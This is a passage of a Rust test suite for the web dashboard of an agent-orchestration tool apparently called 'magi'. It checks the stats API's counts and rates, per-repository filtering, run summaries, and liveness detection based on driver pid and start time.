20414            assert!(css.contains(&format!(".{c} {{")));
20415        }
20416    }
20417
20418    #[test]
20419    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20420        assert!(APP_JS.contains("function statsDailyPlan("));
20421        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20422        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20423    }
20424
20425    #[test]
20426    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20427        let start = APP_JS
20428            .find("function scheduleSearch(")
20429            .expect("scheduleSearch exists");
20430        let body = &APP_JS[start..];
20431        let body = &body[..body.find("\n}\n").expect("function end")];
20432        assert!(body.contains("s.seq += 1"));
20433    }
20434
20435    /// The dashboard reads every run's state itself rather than trusting a
20436    /// separately-maintained count, so an unreadable run must be counted the
20437    /// same way `/api/health` counts it - never silently dropped the way the
20438    /// CLI's own `stats::load_all` drops it.
20439    #[tokio::test]
20440    async fn stats_runs_unreadable_matches_health() {
20441        let f = Fixture::start().await;
20442        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20443        let broken = f.runs().join("20260902-140502-bad");
20444        std::fs::create_dir_all(&broken).expect("run dir");
20445        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20446
20447        let stats = f.get("/api/stats").await;
20448        let health = f.get("/api/health").await;
20449
20450        assert_eq!(stats.status, 200);
20451        assert_eq!(stats.json()["totals"]["runs"], 1);
20452        assert_eq!(stats.json()["runs_unreadable"], 1);
20453        assert_eq!(
20454            stats.json()["runs_unreadable"],
20455            health.json()["runs_unreadable"],
20456            "the dashboard and /api/health must never disagree about how many \
20457             runs could not be read"
20458        );
20459    }
20460
20461    #[tokio::test]
20462    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20463        let f = Fixture::start().await;
20464        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20465        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20466        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20467
20468        let totals = &f.get("/api/stats").await.json()["totals"];
20469        assert_eq!(totals["runs"], 3);
20470        assert_eq!(totals["merged"], 1);
20471        assert_eq!(totals["stalled"], 1);
20472        assert_eq!(totals["in_progress"], 1);
20473        // A stalled run must never read as blocked/merged/ready - it is its
20474        // own bucket, not folded into a "decided" one.
20475        assert_eq!(totals["blocked"], 0);
20476        assert_eq!(totals["ready"], 0);
20477    }
20478
20479    #[tokio::test]
20480    async fn stats_advisors_report_proposals_and_reflection() {
20481        use crate::advise::{Advice, AdvisorRecord, Reflection};
20482        use crate::verdict::Proposal;
20483
20484        let f = Fixture::start().await;
20485        let mut state = RunState::new(
20486            PathBuf::from("/repo/magi"),
20487            "main".to_owned(),
20488            "0123456789abcdef".to_owned(),
20489            "task".to_owned(),
20490            Config::default(),
20491        );
20492        state.id = "20260902-140501-a".to_owned();
20493        state.status = RunStatus::Merged;
20494        state.advice = Some(Advice {
20495            records: vec![
20496                AdvisorRecord {
20497                    seat: "advisor-1".to_owned(),
20498                    agent: "alpha".to_owned(),
20499                    proposal: Some(Proposal {
20500                        approach: "do it".to_owned(),
20501                        key_tradeoff: "speed over memory".to_owned(),
20502                        risks: Vec::new(),
20503                        touches: Vec::new(),
20504                        why_not_naive: "breaks under load".to_owned(),
20505                    }),
20506                    error: None,
20507                    duration_ms: 0,
20508                    reflection: Reflection::Strong,
20509                },
20510                AdvisorRecord {
20511                    seat: "advisor-2".to_owned(),
20512                    agent: "alpha".to_owned(),
20513                    proposal: None,
20514                    error: Some("timed out".to_owned()),
20515                    duration_ms: 0,
20516                    reflection: Reflection::Absent,
20517                },
20518            ],
20519            synthesis: Some("blended brief".to_owned()),
20520        });
20521        let dir = f.runs().join(&state.id);
20522        std::fs::create_dir_all(&dir).expect("run dir");
20523        std::fs::write(
20524            dir.join("run.json"),
20525            serde_json::to_string_pretty(&state).expect("serialize run"),
20526        )
20527        .expect("write run.json");
20528
20529        // `alpha` is in no roster here; this test is about the rates.
20530        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20531        let alpha = advisors
20532            .as_array()
20533            .expect("an array")
20534            .iter()
20535            .find(|a| a["agent"] == "alpha")
20536            .expect("alpha row");
20537        assert_eq!(alpha["seated"], 2);
20538        assert_eq!(alpha["proposed"], 1);
20539        assert_eq!(alpha["absent"], 1);
20540        assert_eq!(alpha["strong"], 1);
20541        assert_eq!(alpha["faint"], 0);
20542        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20543    }
20544
20545    #[tokio::test]
20546    async fn stats_hides_agents_outside_the_roster_unless_all() {
20547        use crate::run::Candidate;
20548        let repo = TempDir::new().expect("repo dir");
20549        std::fs::write(
20550            repo.path().join("magi.toml"),
20551            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20552        )
20553        .expect("magi.toml");
20554        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20555        let mut state = RunState::new(
20556            PathBuf::from("/repo/magi"),
20557            "main".to_owned(),
20558            "0123456789abcdef".to_owned(),
20559            "task".to_owned(),
20560            Config::default(),
20561        );
20562        state.id = "20260902-140501-a".to_owned();
20563        state.status = RunStatus::Merged;
20564        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20565            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20566                "index": 0, "label": label.to_string(), "agent": agent,
20567                "branch": "b", "worktree": "/w",
20568            }))
20569            .expect("candidate");
20570            c.label = label;
20571            state.candidates.push(c);
20572        }
20573        let dir = f.runs().join(&state.id);
20574        std::fs::create_dir_all(&dir).expect("run dir");
20575        std::fs::write(
20576            dir.join("run.json"),
20577            serde_json::to_string_pretty(&state).expect("serialize run"),
20578        )
20579        .expect("write run.json");
20580
20581        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20582            v["agents"]
20583                .as_array()
20584                .expect("array")
20585                .iter()
20586                .map(|a| a["agent"].as_str().unwrap().to_owned())
20587                .collect()
20588        };
20589        let hidden = f.get("/api/stats").await.json();
20590        assert_eq!(agents_of(&hidden), ["keep"]);
20591        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20592        assert_eq!(hidden["totals"]["runs"], 1);
20593
20594        let all = f.get("/api/stats?all=true").await.json();
20595        assert_eq!(agents_of(&all).len(), 2);
20596        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20597        // Verify competitive and solo keys exist on agent entries
20598        let keep_agent = all["agents"]
20599            .as_array()
20600            .unwrap()
20601            .iter()
20602            .find(|a| a["agent"] == "keep")
20603            .unwrap();
20604        assert_eq!(keep_agent["competitive_entered"], 1);
20605        assert_eq!(keep_agent["competitive_wins"], 0);
20606        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20607        assert_eq!(keep_agent["solo_entered"], 0);
20608        assert_eq!(keep_agent["solo_adopted"], 0);
20609        assert!(keep_agent["solo_adoption_rate"].is_null());
20610    }
20611
20612    #[tokio::test]
20613    async fn stats_release_bumps_split_clean_from_attention() {
20614        use crate::run::ReleaseBump;
20615
20616        let f = Fixture::start().await;
20617
20618        let mut clean = RunState::new(
20619            PathBuf::from("/repo/magi"),
20620            "main".to_owned(),
20621            "0123456789abcdef".to_owned(),
20622            "task".to_owned(),
20623            Config::default(),
20624        );
20625        clean.id = "20260902-140501-a".to_owned();
20626        clean.status = RunStatus::Merged;
20627        clean.release_bump = Some(ReleaseBump {
20628            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20629            version: Some("1.0.0".to_owned()),
20630            automerge_enabled: true,
20631            merged_directly: false,
20632            local: false,
20633            release: None,
20634            problem: None,
20635            action_required: None,
20636            skipped: None,
20637        });
20638
20639        let mut blocked = RunState::new(
20640            PathBuf::from("/repo/magi"),
20641            "main".to_owned(),
20642            "0123456789abcdef".to_owned(),
20643            "task".to_owned(),
20644            Config::default(),
20645        );
20646        blocked.id = "20260902-140502-b".to_owned();
20647        blocked.status = RunStatus::Merged;
20648        blocked.release_bump = Some(ReleaseBump {
20649            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20650            version: Some("1.0.1".to_owned()),
20651            automerge_enabled: false,
20652            merged_directly: false,
20653            local: false,
20654            release: None,
20655            problem: Some("checks red".to_owned()),
20656            action_required: Some("look at the PR".to_owned()),
20657            skipped: None,
20658        });
20659
20660        for state in [&clean, &blocked] {
20661            let dir = f.runs().join(&state.id);
20662            std::fs::create_dir_all(&dir).expect("run dir");
20663            std::fs::write(
20664                dir.join("run.json"),
20665                serde_json::to_string_pretty(state).expect("serialize run"),
20666            )
20667            .expect("write run.json");
20668        }
20669
20670        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20671        assert_eq!(bumps["merged"], 2);
20672        assert_eq!(bumps["recorded"], 2);
20673        assert_eq!(bumps["pr_opened"], 2);
20674        assert_eq!(bumps["automerge_enabled"], 1);
20675        assert_eq!(bumps["needs_attention"], 1);
20676        assert_eq!(bumps["clean"], 1);
20677        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20678        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20679    }
20680
20681    #[tokio::test]
20682    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20683        let f = Fixture::start().await;
20684        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20685
20686        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20687        assert_eq!(bumps["merged"], 1);
20688        assert_eq!(bumps["recorded"], 0);
20689        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20690        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20691        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20692        // `pr_opened` and `recorded` are both zero here, so these rates have
20693        // no denominator to compute from and must be null.
20694        assert_eq!(bumps["automerge_rate"], Value::Null);
20695        assert_eq!(bumps["attention_rate"], Value::Null);
20696    }
20697
20698    #[tokio::test]
20699    async fn stats_queue_counts_come_from_the_live_queue() {
20700        let f = Fixture::start().await;
20701        let q = f.queue();
20702        let mut queued = Task::new(
20703            "queued task".to_owned(),
20704            "do it".to_owned(),
20705            PathBuf::from("/repo"),
20706            Source::Human,
20707        );
20708        q.put(&mut queued).expect("put queued");
20709        let mut held = Task::new(
20710            "held task".to_owned(),
20711            "do it later".to_owned(),
20712            PathBuf::from("/repo"),
20713            Source::Human,
20714        );
20715        held.hold_machine(Some("out of attempts".to_owned()));
20716        q.put(&mut held).expect("put held");
20717
20718        let queue = f.get("/api/stats").await.json()["queue"].clone();
20719        assert_eq!(queue["queued"], 1);
20720        assert_eq!(queue["held"], 1);
20721        assert_eq!(queue["running"], 0);
20722        assert_eq!(queue["done"], 0);
20723        assert_eq!(queue["failed"], 0);
20724        assert_eq!(queue["blocked"], 0);
20725    }
20726
20727    #[tokio::test]
20728    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20729        let f = Fixture::start().await;
20730        let stats = f.get("/api/stats").await;
20731        assert_eq!(stats.status, 200);
20732        assert_eq!(stats.json()["totals"]["runs"], 0);
20733        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20734        assert_eq!(stats.json()["runs_unreadable"], 0);
20735        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20736        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20737        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20738        assert_eq!(stats.json()["repo"], Value::Null);
20739    }
20740
20741    #[tokio::test]
20742    async fn stats_lists_every_repository_with_runs_recorded() {
20743        let f = Fixture::start().await;
20744        write_run_repo(
20745            &f.runs(),
20746            "20260902-140501-a",
20747            RunStatus::Merged,
20748            "/repos/a",
20749        );
20750        write_run_repo(
20751            &f.runs(),
20752            "20260902-140502-b",
20753            RunStatus::Merged,
20754            "/repos/a",
20755        );
20756        write_run_repo(
20757            &f.runs(),
20758            "20260902-140503-c",
20759            RunStatus::Blocked,
20760            "/repos/b",
20761        );
20762
20763        let stats = f.get("/api/stats").await;
20764        assert_eq!(stats.status, 200);
20765        // Unfiltered - the aggregate across both repositories.
20766        assert_eq!(stats.json()["totals"]["runs"], 3);
20767        assert_eq!(stats.json()["repo"], Value::Null);
20768
20769        let repos = stats.json()["repos"].clone();
20770        let repos = repos.as_array().unwrap();
20771        assert_eq!(repos.len(), 2);
20772        // Busiest (2 runs) first.
20773        assert_eq!(repos[0]["repo"], "/repos/a");
20774        assert_eq!(repos[0]["name"], "a");
20775        assert_eq!(repos[0]["runs"], 2);
20776        assert_eq!(repos[1]["repo"], "/repos/b");
20777        assert_eq!(repos[1]["runs"], 1);
20778    }
20779
20780    #[tokio::test]
20781    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20782        let f = Fixture::start().await;
20783        write_run_repo(
20784            &f.runs(),
20785            "20260902-140501-a",
20786            RunStatus::Merged,
20787            "/repos/a",
20788        );
20789        write_run_repo(
20790            &f.runs(),
20791            "20260902-140502-b",
20792            RunStatus::Blocked,
20793            "/repos/b",
20794        );
20795
20796        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20797        assert_eq!(stats.status, 200);
20798        assert_eq!(stats.json()["totals"]["runs"], 1);
20799        assert_eq!(stats.json()["totals"]["merged"], 1);
20800        assert_eq!(stats.json()["repo"], "/repos/a");
20801        // The repository list itself is unaffected by the filter - it is
20802        // what a client switches repositories from.
20803        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20804        // runs_unreadable is a whole-workload count, never scoped to the
20805        // selected repository - see StatsView::runs_unreadable's own doc.
20806        assert_eq!(stats.json()["runs_unreadable"], 0);
20807    }
20808
20809    #[tokio::test]
20810    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20811        let f = Fixture::start().await;
20812        write_run_repo(
20813            &f.runs(),
20814            "20260902-140501-a",
20815            RunStatus::Merged,
20816            "/repos/a",
20817        );
20818        write_run_repo(
20819            &f.runs(),
20820            "20260902-140502-b",
20821            RunStatus::Merged,
20822            "/repos/b",
20823        );
20824
20825        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20826            let json = f.get(uri).await.json();
20827            let daily = json["daily"].as_array().expect("daily is an array");
20828            assert_eq!(daily.len(), 30);
20829            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20830            let mut sorted = dates.clone();
20831            sorted.sort();
20832            assert_eq!(dates, sorted);
20833            for d in daily {
20834                assert_eq!(
20835                    d["merged"].as_u64().unwrap()
20836                        + d["ready"].as_u64().unwrap()
20837                        + d["other"].as_u64().unwrap(),
20838                    d["runs"].as_u64().unwrap()
20839                );
20840            }
20841            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20842        }
20843    }
20844
20845    #[tokio::test]
20846    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20847        let f = Fixture::start().await;
20848        write_run_repo(
20849            &f.runs(),
20850            "20260902-140501-a",
20851            RunStatus::Merged,
20852            "/repos/a",
20853        );
20854
20855        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20856        assert_eq!(stats.status, 404);
20857    }
20858
20859    #[tokio::test]
20860    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20861        let f = Fixture::start().await;
20862        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20863
20864        let summary = f.get("/api/runs").await.json();
20865        let row = &summary[0];
20866        assert_eq!(row["short"], "a1b2");
20867        assert_eq!(row["status"], "ready");
20868        assert_eq!(row["done"], true);
20869        assert_eq!(row["title"], "Add a web UI");
20870        assert_eq!(row["repo_name"], "magi");
20871        assert_eq!(row["judges"], 3);
20872        assert_eq!(row["winner"], Value::Null);
20873        assert_eq!(row["reviews"], 0);
20874
20875        // The short id resolves, and the detail route is the state itself, not
20876        // a projection of it: the UI reads fields the summary does not carry.
20877        let detail = f.get("/api/runs/a1b2").await;
20878        assert_eq!(detail.status, 200);
20879        assert_eq!(detail.json()["base_branch"], "main");
20880        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20881    }
20882
20883    /// `status: "ready"` alone cannot tell a run still headed for a landing
20884    /// (a PR closed without merging, say) apart from one `[merge] mode =
20885    /// "none"` left unmerged for good — the confusion the operator flagged
20886    /// after the CLI report already grew a `not landed — nothing to do by
20887    /// design` line for exactly this case (`report.rs`). Both the list route
20888    /// and the detail route must carry a flag the phone can key on instead of
20889    /// re-deriving it from `status` + `merge.mode` itself.
20890    #[tokio::test]
20891    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20892        let f = Fixture::start().await;
20893
20894        let mut none_run = RunState::new(
20895            PathBuf::from("/repo/magi"),
20896            "main".to_owned(),
20897            "0123456789abcdef".to_owned(),
20898            "Add a web UI".to_owned(),
20899            Config::default(),
20900        );
20901        none_run.id = "20260902-140503-none".to_owned();
20902        none_run.status = RunStatus::Ready;
20903        none_run.merge = Some(crate::run::MergeOutcome {
20904            mode: crate::config::MergeMode::None,
20905            ok: true,
20906            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20907            empty: false,
20908        });
20909        write_state(&f.runs(), &none_run);
20910
20911        let mut pr_run = RunState::new(
20912            PathBuf::from("/repo/magi"),
20913            "main".to_owned(),
20914            "0123456789abcdef".to_owned(),
20915            "Add a web UI".to_owned(),
20916            Config::default(),
20917        );
20918        pr_run.id = "20260902-140504-prcl".to_owned();
20919        pr_run.status = RunStatus::Ready;
20920        pr_run.merge = Some(crate::run::MergeOutcome {
20921            mode: crate::config::MergeMode::Pr,
20922            ok: false,
20923            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20924            empty: false,
20925        });
20926        write_state(&f.runs(), &pr_run);
20927
20928        let summary = f.get("/api/runs").await.json();
20929        let rows: std::collections::HashMap<&str, &Value> = summary
20930            .as_array()
20931            .expect("an array")
20932            .iter()
20933            .map(|r| (r["id"].as_str().expect("an id"), r))
20934            .collect();
20935        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20936        assert_eq!(
20937            rows[none_run.id.as_str()]["unmerged_by_design"],
20938            true,
20939            "a mode-none Ready must be flagged in the list"
20940        );
20941        assert_eq!(
20942            rows[pr_run.id.as_str()]["unmerged_by_design"],
20943            false,
20944            "a Ready reached by a closed pull request is a different case"
20945        );
20946
20947        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20948        assert_eq!(none_detail["status"], "ready");
20949        assert_eq!(none_detail["unmerged_by_design"], true);
20950
20951        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20952        assert_eq!(pr_detail["unmerged_by_design"], false);
20953    }
20954
20955    /// `RunState::active` is only ever cleared by whoever populated it, so the
20956    /// detail route also has to say whether a daemon is actually still
20957    /// driving this run right now — otherwise a seat from a killed process's
20958    /// last wave would read as live forever.
20959    #[tokio::test]
20960    async fn run_core_survives_unavailable_related_stores() {
20961        let home = TempDir::new().unwrap();
20962        let ui = delta_test_ui(home.path());
20963        let state = RunState::new(
20964            PathBuf::from("/repo/magi"),
20965            "main".into(),
20966            "0123456789abcdef".into(),
20967            "Useful core instructions".into(),
20968            Config::default(),
20969        );
20970        let dir = ui.runs.join(&state.id);
20971        std::fs::create_dir_all(&dir).unwrap();
20972        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20973        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20974        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20975        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20976            .await
20977            .unwrap()
20978            .0;
20979        assert_eq!(core.state.instruction, state.instruction);
20980        assert_eq!(core.state.updated_at, state.updated_at);
20981        assert!(core.task.is_none());
20982        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20983    }
20984
20985    #[tokio::test]
20986    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20987        let f = Fixture::start().await;
20988        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20989        // half of this test can claim the daemon is working on it without a
20990        // second helper.
20991        let id = "20260902-140502-bbbb";
20992        let mut state = RunState::new(
20993            PathBuf::from("/repo/magi"),
20994            "main".to_owned(),
20995            "0123456789abcdef".to_owned(),
20996            "Add a web UI".to_owned(),
20997            Config::default(),
20998        );
20999        state.id = id.to_owned();
21000        state.status = RunStatus::Judging;
21001        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
21002        let dir = f.runs().join(id);
21003        std::fs::create_dir_all(&dir).expect("run dir");
21004        std::fs::write(
21005            dir.join("run.json"),
21006            serde_json::to_string_pretty(&state).expect("serialize run"),
21007        )
21008        .expect("write run.json");
21009
21010        // No daemon.json at all, and no `driver_pid` recorded either (this
21011        // state was written directly, never through `execute()`): there is
21012        // nothing to confirm either way, so the route must say `"unknown"` —
21013        // never `"dead"`, which is exactly the false diagnosis a manual `magi
21014        // run` used to get from this route before `driver_pid` existed.
21015        let cold = f.get(&format!("/api/runs/{id}")).await.json();
21016        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
21017        assert_eq!(cold["live"], "unknown", "{cold}");
21018
21019        // A fresh heartbeat naming exactly this run: the same entry now reads
21020        // as confirmed, not merely recorded.
21021        write_daemon(f.home.path(), Timestamp::now());
21022        let warm = f.get(&format!("/api/runs/{id}")).await.json();
21023        assert_eq!(warm["live"], "live", "{warm}");
21024    }
21025
21026    #[test]
21027    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
21028        let home = tempfile::tempdir().expect("temp home");
21029        let runs = home.path().join("runs");
21030        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
21031            let mut state = RunState::new(
21032                PathBuf::from("/repo/magi"),
21033                "main".to_owned(),
21034                "0123456789abcdef".to_owned(),
21035                "Generated review context, not authored task criteria".to_owned(),
21036                Config::default(),
21037            );
21038            state.origin = origin;
21039            state.status = RunStatus::Blocked;
21040            // Earlier migrations must not infer these facts again.
21041            state.driver_exited = false;
21042            state.gate_ran = true;
21043            let expected = serde_json::to_value(&state).expect("serialize current state");
21044            let mut legacy = expected.clone();
21045            legacy["schema"] = serde_json::json!(13);
21046            legacy.as_object_mut().unwrap().remove("task_instruction");
21047            let dir = runs.join(&state.id);
21048            std::fs::create_dir_all(&dir).expect("run dir");
21049            let path = dir.join("run.json");
21050            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
21051            std::fs::write(&path, &body).expect("write legacy run");
21052
21053            for loaded in [
21054                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21055                read_run(&runs, &state.id).expect("web migration"),
21056            ] {
21057                assert_eq!(loaded.schema, crate::run::SCHEMA);
21058                assert!(loaded.task_instruction.is_none());
21059                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21060            }
21061            assert_eq!(runs_unreadable(&runs), 0);
21062            assert_eq!(std::fs::read(&path).unwrap(), body);
21063        }
21064    }
21065
21066    /// Where a run came from is shown, and a run written before origins were
21067    /// recorded (schema 12, no `origin` key) stays readable and says so.
21068    #[tokio::test]
21069    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21070        let f = Fixture::start().await;
21071        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21072            let mut state = RunState::new(
21073                PathBuf::from("/repo/magi"),
21074                "main".to_owned(),
21075                "0123456789abcdef".to_owned(),
21076                "Add a web UI".to_owned(),
21077                Config::default(),
21078            );
21079            state.id = id.to_owned();
21080            state.origin = origin;
21081            let mut value = serde_json::to_value(&state).expect("serialize run");
21082            if let Some(schema) = schema {
21083                value["schema"] = serde_json::json!(schema);
21084                value.as_object_mut().unwrap().remove("origin");
21085            }
21086            let dir = f.runs().join(id);
21087            std::fs::create_dir_all(&dir).expect("run dir");
21088            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21089        };
21090        write(
21091            "20260930-092817-ec34",
21092            Some(crate::run::Origin::from_agent_env(
21093                Some(("4a7b".to_owned(), "chat".to_owned())),
21094                None,
21095            )),
21096            None,
21097        );
21098        write("20260930-092817-0ld1", None, Some(12));
21099
21100        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21101        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21102        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21103
21104        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21105        assert_eq!(
21106            old["origin_label"], "origin unknown (started before origins were recorded)",
21107            "{old}"
21108        );
21109        assert!(old["origin"].is_null(), "{old}");
21110
21111        let list = f.get("/api/runs").await.json();
21112        let labels: Vec<_> = list
21113            .as_array()
21114            .unwrap()
21115            .iter()
21116            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21117            .collect();
21118        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21119    }
21120
21121    #[tokio::test]
21122    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21123        let f = Fixture::start().await;
21124        let mut state = RunState::new(
21125            PathBuf::from("/repo"),
21126            "main".into(),
21127            "abc".into(),
21128            "task".into(),
21129            Config::default(),
21130        );
21131        state.status = RunStatus::Implementing;
21132        state.seat_started(
21133            "implement",
21134            "implement-A",
21135            std::time::Duration::from_secs(60),
21136            0,
21137        );
21138        state.save_under(f.home.path()).unwrap();
21139        let observed = f
21140            .get(&format!("/api/runs/{}/progress", state.id))
21141            .await
21142            .json();
21143        assert_eq!(observed["id"], state.id);
21144        assert!(observed["observed_at"].is_string());
21145        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21146        assert!(observed["progress"]["activity"].is_string());
21147        for field in [
21148            "config",
21149            "candidates",
21150            "land_approval",
21151            "task",
21152            "waiting",
21153            "done",
21154        ] {
21155            assert!(
21156                observed.get(field).is_none(),
21157                "progress must not expose control evidence: {field}"
21158            );
21159        }
21160    }
21161
21162    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21163    /// review` claims no daemon at all, so before this field existed the
21164    /// route above read it as `"dead"` — indistinguishable from a run a
21165    /// killed process abandoned — the whole time it was genuinely still
21166    /// answering. With a live pid recorded, it must read `"live"` even
21167    /// though no daemon claims it.
21168    #[tokio::test]
21169    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21170        let f = Fixture::start().await;
21171        let id = "20260922-090000-cccc";
21172        let mut state = RunState::new(
21173            PathBuf::from("/repo/magi"),
21174            "main".to_owned(),
21175            "0123456789abcdef".to_owned(),
21176            "Review only".to_owned(),
21177            Config::default(),
21178        );
21179        state.id = id.to_owned();
21180        state.status = RunStatus::Reviewing;
21181        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21182        // This test process's own pid: guaranteed alive, and never needs a
21183        // real daemon or a second process to prove it. The matching start-time
21184        // marker is what `liveness` now requires alongside a live pid — see
21185        // `RunState::driver_started_at`'s own doc for why the pid alone is
21186        // not enough.
21187        state.driver_pid = Some(std::process::id());
21188        state.driver_started_at = Some(
21189            crate::proc::process_started_at(std::process::id())
21190                .expect("this test process's own start time must be queryable"),
21191        );
21192        let dir = f.runs().join(id);
21193        std::fs::create_dir_all(&dir).expect("run dir");
21194        std::fs::write(
21195            dir.join("run.json"),
21196            serde_json::to_string_pretty(&state).expect("serialize run"),
21197        )
21198        .expect("write run.json");
21199
21200        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21201        assert_eq!(detail["live"], "live", "{detail}");
21202    }
21203
21204    /// A killed manual run's pid can be handed to a wholly unrelated later
21205    /// process — a live query on `driver_pid` alone would read this as
21206    /// `"live"`, exactly the false positive `driver_started_at` exists to
21207    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21208    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21209    #[tokio::test]
21210    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21211        let f = Fixture::start().await;
21212        let id = "20260922-090100-dddd";
21213        let mut state = RunState::new(
21214            PathBuf::from("/repo/magi"),
21215            "main".to_owned(),
21216            "0123456789abcdef".to_owned(),
21217            "Review only".to_owned(),
21218            Config::default(),
21219        );
21220        state.id = id.to_owned();
21221        state.status = RunStatus::Reviewing;
21222        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21223        // This test process's own pid really is alive, but the marker
21224        // recorded here does not match what it actually started at —
21225        // standing in for the pid having since been reused by a different
21226        // process than the one that wrote `run.json`.
21227        state.driver_pid = Some(std::process::id());
21228        state.driver_started_at = Some("1".to_owned());
21229        let dir = f.runs().join(id);
21230        std::fs::create_dir_all(&dir).expect("run dir");
21231        std::fs::write(
21232            dir.join("run.json"),
21233            serde_json::to_string_pretty(&state).expect("serialize run"),
21234        )
21235        .expect("write run.json");
21236
21237        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21238        assert_eq!(detail["live"], "dead", "{detail}");
21239    }
21240
21241    /// The deck's competition list is normally the first place an operator
21242    /// sees an old run. It must carry the same process verdict as detail, or
21243    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21244    #[test]
21245    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21246        let mk = |id: &str, pid: Option<u32>| {
21247            let mut s = RunState::new(
21248                PathBuf::from("/repo/magi"),
21249                "main".to_owned(),
21250                "0123456789abcdef".to_owned(),
21251                "Add a web UI".to_owned(),
21252                Config::default(),
21253            );
21254            s.id = id.to_owned();
21255            s.driver_pid = pid;
21256            s.driver_started_at = Some("1790000000".to_owned());
21257            s
21258        };
21259        let states = vec![
21260            mk("20260902-140502-aaaa", Some(77)),
21261            mk("20260902-140502-bbbb", Some(77)),
21262            mk("20260902-140502-cccc", Some(77)),
21263            mk("20260902-140502-dddd", None),
21264        ];
21265        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21266        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
